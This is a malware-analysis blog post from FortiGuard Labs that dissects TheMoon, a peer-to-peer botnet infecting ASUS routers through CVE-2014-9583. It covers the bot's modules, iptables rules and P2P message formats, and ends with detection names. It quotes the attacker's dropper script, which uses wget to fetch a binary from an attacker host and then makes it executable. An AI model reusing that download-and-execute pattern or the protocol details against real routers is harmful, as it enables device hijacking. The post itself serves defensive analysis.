FortiGuard Labs Threat Research

TheMoon - A P2P botnet targeting Home Routers

By Bing Liu | October 20, 2016

In the post “Home Routers - New Favorite of Cybercriminals in 2016”, we discussed the active detection of vulnerability CVE-2014-9583 in ASUS routers since June of this year.  In this post we will dissect a bot installed on the affected ASUS routers.

The following figure shows attack traffic captured through Wireshark.

Figure 1 Exploitation of CVE-2014-9583

Below is the content of file downloaded from hxxp://


cd /tmp

rm -f .nttpd

wget -O .nttpd,17-mips-le-t1

chmod +x .nttpd


The vulnerable ASUS router will  download and execute the binary file .nttpd from the attacker controlled website.  The following figure shows its MD5 hash and file attributes:

Figure 2 md5sum and file attributes

A simple search shows that this bot was analyzed here.  However, that analysis was based on sample MD5: c44f2d8ad37c18ea84a99db584d6992d, and some parts are misleading, so we want to share our updated findings in this post.

This bot belongs to the TheMoon family of malware, which shares the following program structure.

Figure 3 Program structure of TheMoon family

The differences between the family members are mainly located in functions os_init and run_modules.

This bot inserts the following eight iptables rules in function os_init.

Figure 3 iptables rules

The first rule stops other attackers from exploiting the ASUS vulnerability CVE-2014-9583, while the second one stops other attackers from exploiting the Linksys Unauthenticated Remote Code Execution vulnerability.

All the rest ensure that the attacker has access to this router. We will talk about hard-coded peers later in this post.

In the function run_modules, this bot launches three modules: “clk,” “net” and “dwl.” Let’s analyze them one by one.

Clk Module

This module launchs two threads.  The first one calculates the running time while the second one maintains the time. This bot queries public NTP servers for the UTC time, as shown in the following figure.

Figure 4 Hard-coded NTP servers

The following figure shows an NTP request sent by this bot, and the response from the public NTP server.

Figure 5 NTP request and response

We don’t believe that these hard-coded IP addresses are C&C servers, as was claimed here.

If the NTP query fails, the bot will instead use the local time.

Net Module

This module adds an iptables rule to open UDP port 5143, and then creates a thread which is responsible for P2P communication.  It is worth mentioning that the supported message types are variant-specific, and usually different port numbers are used for communication.

This bot supports following three types of message.

  1. Register message
  2. RegisterTo  message
  3. FetchCommand message

Every message contains a header and a body. All these messages share the following header structure:

Offset                    Size                    Description

0                                 1                    Body length

1                                  1                    Message Type

2                                  1                    TTL

3                                  1                    0x8F (variant specific)

For every received message, the bot decreases the TTL by one, and forwards the message to its peers if the result is not zero. The following figure demonstrates this behavior.

Figure 6 Forwarded message to its peers

  1. Register message

The type value of this message is 0. The bot sends this message to hard-coded peers after launching three modules successfully.

Figure 7 register to hard-coded peers

As you may remember, iptables rules are installed to allow access to these hard-coded peers. The following figure shows the traffic sent to hard-coded peers:

Figure 8 Register message

The message body is comprised of two double words: The first one is 0x6d6163f4 (variant specific) and the second is the property value of this peer. The bot adds the sender as its peer after receiving this message.  This bot supports 0x64 peers at maximum.

  1. RegistertTo

The type value of this message is zero as well, but the message body is 12 bytes long. If the third double word is not zero, this bot sends a register message to a specified IP. Otherwise, it sends the register message to the sender. The following figure shows a RegisterTo message received by the bot.

Figure 9 RegisterTo message

  1. FetchCommand

The type value of this message is one. The following is the structure of the message body.

Offset                    Size                    Description

0                              4                        Peer IP address

4                             4                         Command id

8                             4                         Command size (Maximum 0x19001)

12                           n                         file name(n<=8)

The following figure shows a FetchCommand message received by this bot.

Figure 10 FetchCommand message

If the sender is its peer, the bot stores the message in the following structure for the dwl module:

Struct PendingCommand



DWORD cmd_id;

DWORD cmd_size;

CHAR filename[8];


Dwl Module

This module creates a thread which is responsible for handling the PendingCommand information created by the net module. This bot connects to TCP port 4543 of the designated IP and sends it the required file name and command id. The following figure shows the traffic captured through Wireshark:

Figure 11 Command request

The designed IP is supposed to return the requested file. The bot stores the response in the specified file and executes it. The following figure shows a sequence of calls that create and execute the file received:


Figure 12 download and execute command

While we were unable to download a command file for analysis at the time of this post, based on the file name and size we monitor, they should be the TheMoon family members.


The TheMoon family was first discovered by SANS ISC in 2014. This family targets routers and installs malware by exploiting their vulnerabilities. This bot is used on ASUS and Linksys routers based on their hard-coded iptables rules.

We also discovered that its P2P communication is not as mature as its peers on PCs. For example, instead of using digital signing, the botmaster uses iptables to ensure only he can command the bots. Unfortunately, or fortunately, these rules can be bypassed. In addition, the communication is not encrypted, which leads to easier analysis and detection.

Fortinet released following detections for this bot:

AV: Linux/Agent.B!tr.bdr

AppCtrl: TheMoon.Botnet